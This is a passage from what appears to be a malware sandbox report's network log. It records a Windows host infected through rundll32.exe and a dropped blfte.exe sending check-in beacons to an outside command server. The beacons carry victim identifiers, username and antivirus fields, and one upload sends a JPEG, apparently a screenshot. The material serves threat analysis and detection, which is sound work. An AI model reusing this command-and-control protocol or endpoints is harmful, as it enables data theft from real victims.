Apr 28, 2021 23:22:22.293236017 CEST	1444	IN	Data Raw: 01 d8 8a 1e 46 84 db 75 d5 fe cd 75 02 f7 d8 59 31 f6 89 32 5f 5e 5b c3 8d 40 00 56 57 89 c6 89 d7 81 e1 ff 00 00 00 f3 a6 5f 5e c3 8d 40 00 e9 03 00 00 00 c3 8b c0 53 31 db 85 c0 7c 4d 0f 84 9a 00 00 00 3d 00 14 00 00 0f 8d 81 00 00 00 89 c2 83 Data Ascii: FuuY12_^[@VW_^@S1\|M=S5@tytS6@taC_7@S=}FS5@t4tS6@tC_7@5@[
Apr 28, 2021 23:22:22.293283939 CEST	1445	IN	Data Raw: c3 87 d1 81 f9 00 00 00 ff 73 11 81 f9 00 00 00 fe 72 07 0f bf c9 03 08 ff 21 ff e1 81 e1 ff ff ff 00 01 c1 89 d0 8b 11 e9 94 20 00 00 c3 8d 40 00 55 8b ec 83 c4 f8 53 56 57 33 db 89 5d f8 8b d9 8b fa 8b f0 33 c0 55 68 a2 3a 40 00 64 ff 30 64 89 Data Ascii: sr! @USVW3]3Uh:@d0d 3qE}t8E@tt$PPMEPjU ;3ZYYdh:@E_^[YY]SVCt)2;0ur;pur;
Apr 28, 2021 23:22:22.390278101 CEST	1447	IN	Data Raw: c0 59 64 89 08 58 5d e8 b7 fd ff ff ff e2 c3 31 d2 8b 4c 24 08 8b 44 24 04 83 c1 05 64 89 02 ff d1 c2 0c 00 c3 8b c0 55 8b ec 8b 55 08 8b 02 3d 92 00 00 c0 7f 2c 74 5c 3d 8e 00 00 c0 7f 15 74 57 2d 05 00 00 c0 74 5c 2d 87 00 00 00 74 3d 48 74 4e Data Ascii: YdX]1L$D$dUU=,t\=tW-t\-t=HtN`q?r6t0R=t=-t.HtHt$:-t/=t&,*&"%R]D$@=$AwD$PtqD$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49721	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:25.051029921 CEST	1573	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.5	49825	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:54.850843906 CEST	2500	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	176.111.174.114	80	192.168.2.5	49825	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:54.952058077 CEST	2500	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.5	49826	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:55.172812939 CEST	2514	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185550 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:22:55.269895077 CEST	2522	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:22:55.270435095 CEST	2533	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:22:55.270509958 CEST	2541	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:22:55.365291119 CEST	2549	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:22:55.365331888 CEST	2555	OUT	Data Raw: 41 ed ab f5 47 3a d0 c8 3e fc 66 94 47 eb 19 5a e8 c5 ed 8c dc 3c 35 34 70 e8 f7 1f 7e 1c 54 fd 4f 9b e1 90 be b7 cb bc 4e 53 26 91 73 8e 6b ab 93 46 d2 5f 98 e4 c5 40 7c 35 63 3f fa b9 45 2f a8 d4 ee 54 71 b4 9e e8 e7 29 eb 8d a3 3e b5 b4 de 11 Data Ascii: AG:>fGZ<54p~TONS&skF_@\|5c?E/Tq)>MT}VkB]LON&&}}X?)g4S5+S6S1#vzO/4:%35>5j/$)T\|EiQir6E*I#
Apr 28, 2021 23:22:55.365341902 CEST	2557	OUT	Data Raw: bf 0b bc 4f 11 3f f1 2f 63 fe ed 65 2c a7 1d 4f 78 1d 14 f3 3c 1d 4d a6 72 f1 af ef 29 fb 07 bd 6c 4d e0 dd 6a cf ef d8 4c bf f0 0a a5 26 95 7b 13 7c f0 c9 ff 00 02 4a c7 ea d5 69 e9 28 9b 47 11 46 7b 48 a7 1f 7a 91 49 18 a7 25 a4 80 9c a3 7f df Data Ascii: O?/ce,Ox<Mr)lMjL&{\|Ji(GF{HzI%52["S:_1Gbc*\)w4_U+X}IIOkVa}:~5H-:>,nzS?J}?SFoRJASg5BZ>Qe[9QO
Apr 28, 2021 23:22:55.365782976 CEST	2578	OUT	Data Raw: 96 b9 5f f8 24 3e 9b 61 aa fc 58 f8 9b a7 5d 78 82 db 4d b7 7f 85 6f 9b fd 42 29 4c 71 81 af 68 c4 6e 58 52 47 e7 00 7c aa dc 91 9e 32 47 d5 d7 1e 2a fd 96 bc 51 fb 1e 5d 7f c1 22 3c 3d fb 46 78 7e ef 53 d3 7e 17 c3 ae 5a 78 fd 7c 67 01 d1 ae b5 Data Ascii: _$>aX]xMoB)LqhnXRG\|2G*Q]"<=Fx~S~Zx\|g7o(2x$?~'iWV+uH%cFUl3Tr^GF#$wwx4/fI$@?,{nT/t<9~,>,
Apr 28, 2021 23:22:55.365818024 CEST	2581	OUT	Data Raw: 1b 77 fe 3a c2 52 3a a3 19 92 42 10 30 d9 56 97 a1 a8 21 b7 da db ea 68 e3 ae 6a 92 3b 69 d3 24 86 3d dc 55 bb 78 3f 8e a1 8e df 6d 5b 8d 71 5c b5 24 77 d3 89 3c 71 fe ee be 2b ff 00 82 c3 48 c3 e1 5d 82 97 ff 00 99 86 3f fd 13 25 7d af 6f bf f5 Data Ascii: w:R:B0V!hj;i$=Ux?m[q\$w<q+H]?%}o6lZ/O~?niDcj93S%m.'"Nxno#<gwD nJ@[JS~
Apr 28, 2021 23:22:55.369102001 CEST	2594	OUT	Data Raw: c3 73 22 b7 fb 2d 5a 96 7e 3a f1 0d ba fc 9a 94 8b ff 00 03 a8 f6 bc 41 47 e1 ae 54 b0 7c 31 88 f8 f0 fc be 87 1b a8 7e ca df 11 ec 73 e4 da 2c cb fe cd 65 5d 7c 13 f1 e6 9b 84 b9 f0 f5 c6 3f bc bf 35 7a dd 9f c5 7f 13 c1 8f 3a f9 99 6b 5e cb e3 Data Ascii: s"-Z~:AGT\|1~s,e]\|?5z:k^>e0Z F2'\zp<zG_?nc)ik{%=nS_a]RZ1@?o#GE`iBmkTcv'?oL/q
Apr 28, 2021 23:22:55.462193966 CEST	2610	OUT	Data Raw: be ff 00 bf e2 a4 8f f6 a5 d2 59 bf e4 1b a8 ff 00 df d5 a9 fe d4 c0 7f 39 1f ea 5e 77 fc 9f d7 de 7b c7 fd f3 4f 8c bf fc f4 af 0b ff 00 86 a3 d1 f6 ff 00 c7 8e a1 ff 00 7f 56 96 3f da 97 46 fb ff 00 60 be ff 00 bf ab 4f fb 43 03 fc e6 5f ea 66 Data Ascii: Y9^w{OV?F`OC_fwzS^SqRGS\|i}fv?gxV?}}LoZ>cpvz5>y~ZeX.AL1R0q@?=G{k

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.5	49827	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:55.177629948 CEST	2514	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	176.111.174.114	80	192.168.2.5	49827	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:55.281514883 CEST	2541	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.5	49828	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:55.499285936 CEST	2686	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	176.111.174.114	80	192.168.2.5	49826	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:55.562326908 CEST	2687	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	176.111.174.114	80	192.168.2.5	49828	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:55.602108002 CEST	2687	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.5	49830	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
